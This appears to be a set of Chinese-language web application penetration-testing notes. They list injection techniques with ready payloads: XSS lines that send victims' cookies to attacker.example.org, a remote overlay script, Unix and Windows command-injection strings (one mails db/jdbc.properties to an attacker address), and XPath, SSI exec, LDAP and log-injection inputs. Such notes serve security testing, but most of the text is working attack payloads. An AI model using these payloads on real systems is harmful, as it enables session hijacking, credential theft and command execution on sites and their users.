1)使用xss窃取cookie
窃取cookie的javascript | <script>document.write('<img height=0 width=0 src="http://attacker.example.org/cookie_log?cookie=' +encodeURI(document.cookie)+' "/>')</script> |
窃取cookie的恶意URL | http://www.example.com/example?vulnerable_param=%3cscript%3edocument.write('%3cimg%20height=0%20width=0%20src=%22http://attacker.example.org/cookie_log?cookie='%20+encodeURI(document.cookie)+'%20%22/%3e')%3c/script%3e |
2)使用XSS创建覆盖(控制视图让受害者认为他们在访问预期的站点)
插入来自另一台服务器的javascript文件
<script src = "http://attacker.example.org/login_overlay.js"></script>
login_overlay.js源码如下:
3)使用XSS产生HTTP请求(提交请求,解析响应,提取有效信息)
4)以交互方式尝试基于DOM的XSS
攻击方法:将xss测试字符串注入到url的特定部分,这些部分是由客户端js代码进行处理并输出给用户的
漏洞:客户端的js处理用户输入并将它显示给用户而不加以编码和筛选
基于DOM的XSS漏洞的例子 <script> function displayfragment(){ Fragment=document.createElement("div"); Fragment.innerHTML="<h2>"+location.hash.substring(1)+"</h2>"; /*....*/ document.getElementsByTagName("body").item(0).appendChild(Fragment); } </script> |
攻击: http://www.example.com/diplay#<script src='http://attacker.example.org/xss.js'></script> http://www.example.com/display#<script>alert('XSS')</script> |
5)绕过字段长度限制XSS
有多个长度受限的字段以某种标点或html标签连接在一起或相同输入字段的多个实例显示在同一页面中
<script>/* */alert(/* */"XSS")/* */</script> |
<tr><td><script> /*</td></tr><tr><td>*/ alert( /*</td></tr><tr><td>*/ "XSS") /*</td></tr><tr><td>*/ </script></td></tr> |
6)以交互方式尝试跨站式跟踪
当cookie中设置了HttpOnly属性,浏览器将不允许任何javascript代码访问该cookie。但是,如果目标web服务器支持TRACE操作,那么攻击者仍然可以窃取这个cookie。
可以采用3)将XMLHttpRequest.open()函数调用中的GET替换为TRACE,接着,可以从服务器的响应中解析cookie。
7)修改host头
攻击方法:在网络浏览器的地址栏中输入像http://www.example.com/这样的URL,发起对目标的连接,然后用webscarab截获请求,将host头中的端口修改为目标应用服务器的管理端口并提交请求(http://www.example.com:8000这样的内容),如果浏览器因此而显示出应用服务器的管理页面,那么所部署的应用就没有通过测试
8)暴力猜测用户名和密码
允许用户自己注册账号的应用,可以被攻击者用来列举用户名。当得到有效的用户名后,可以用来确定应用是否有账户锁定功能(输入若干次不正确的密码)
9)以交互方式尝试PHP包含文件注入
如果应用中的某些php代码接收用户的变量输入,然后将它传递给include()或require(),就存在这样的漏洞
10)以交互方式尝试命令注入
windows命令注入字符串,命令之间用&分开 %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulnx.txt %26 ' %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulnx.txt %26 " %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulnx.txt %26 |
unix命令注入字符串,命令之间用;分开 %3B echo Command Injection Vulnerability %3E%3E %2Ftemp%2Fvulns.txt %3B ' %3B echo Command Injection Vulnerability %3E%3E %2Ftemp%2Fvulns.txt %3B " %3B echo Command Injection Vulnerability %3E%3E %2Ftemp%2Fvulns.txt %3B |
存在命令注入漏洞的样例perl代码行 $message = `cat /usr/$USERNAME/inbox.txt` something %3B sendmail attacker%401example.com %3C db%2Fjdbc.properties %3B echo cat /usr/something; sendmail attacker@example.com < db/jdbc.properties ;echo /inbox.txt |
11)系统地尝试命令注入
12)以交互方式尝试XPath注入
1 or 1=1 1' or '1'='1' or '1'='1 1" or "1" ="1" or "1"="1 |
存在xpath漏洞的xpath查询的例子 /users/user[username/text()='username' and passord/text() = 'password']/realname/text() |
xpath注入 ']/text() | /users/user[username/text()='asethi']/password/text() | /a[textt()=' 注入后的语句:会返回username=asethi的password /users/user[username/text()='username' and passord/text() = '']/text() | /users/user[username/text()='asethi']/password/text() | /a[textt()='']/realname/text() |
13)以交互方式尝试服务器端包含SSI注入
服务器端包含:一种服务器端的脚本语言,它允许在网页中包含简单的动态内容,如果服务器生成某些包含着由用户控制的输入的动态内容并处理SSI指令,那么攻击者就可以使用服务器执行任意的命令 |
SSI注入: <!--%23echo var="DATE_LOCAL"--> <!--%23exec cmd="command"--> <!--%23include virtual="/web.config"--> |
14)系统地尝试服务器端包含SSI注入
15)以交互方式尝试LDAP注入
LDAP轻量级目录访问协议:管理凭证和对用户进行身份验证。如果应用不仔细处理用户的输入就将它添加到LDAP查询,恶意用户就可以修改查询逻辑,无需知道任何凭证就可以使自己通过身份验证,获得对敏感信息的访问权限,甚至添加或删除内容 |
LDAP注入: * * *)(|(cn=* *)(|(cn=*) *)(|(cn=*)) normalInput)(|(cn=* normalInput)(|(cn=*) normalInput)(|(cn=*)) |
LDAP查询:在查询时至少返回一项纪录时认为用户通过身份验证 (&cn=username)(password=userPassword)) 根据用户名和密码进行搜索 (&(cn=username)(type=Users)) 根据用户名进行搜索
|
如果没有使用SSL来保护应用和LDAP服务器之间的通信,就可以使用网络嗅探器来查看应用的查询以及LDAP服务器的响应。应用的日志或LDAP服务器日志也是可能找到生成的查询的位置 |
16)以交互方式尝试日志注入
%1B%5B41m%1B%5B37m |
%1B%5B%32%4A |
%0AUser admin logged in |
<script src = "http://attacker.example.org/xss_exploit.js"/> |